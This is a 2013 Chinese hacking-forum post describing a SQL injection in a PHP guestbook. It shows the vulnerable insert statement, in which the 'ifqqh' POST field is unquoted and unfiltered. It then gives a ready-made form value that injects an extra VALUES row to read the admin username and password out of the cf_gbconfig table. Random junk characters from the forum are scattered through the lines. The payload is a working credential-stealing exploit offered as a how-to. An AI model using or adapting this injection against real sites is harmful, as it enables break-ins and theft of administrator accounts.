找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2009|回复: 0
打印 上一主题 下一主题

php留言本注入得帐号密码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-19 08:10:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。1 y$ e! e/ P$ D4 V* ]7 C( p* K( Q

4 F5 }9 X1 w- E! h$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
7 X/ X* _" Q5 P$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响
1 k: ~* R0 P. \- o8 L& @' @% S1 ], @3 P
提交的时候把ifqqh的值改一下。变成
7 _+ t- S2 w6 N- g1 S
3 M+ _2 Z8 e: i0 N, u& \. V1 X<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />' y7 H0 X6 M3 X1 k2 `% M! W
6 K6 N+ E, Z$ C$ D0 G
这样SQL插入语句就变了.5 S2 j2 D  P' U7 P% ?3 D( ]
# c. }# P$ P+ n2 K' u# q% K. H
insert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
3 z& S9 I8 {' d8 d( r, I! }
+ T9 Y  ~! j0 e# [/ K- b构造了另外一句SQL。并且把帐号密码读出来。
! J! k4 f7 `7 B6 a  U8 l3 A* e: o( Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表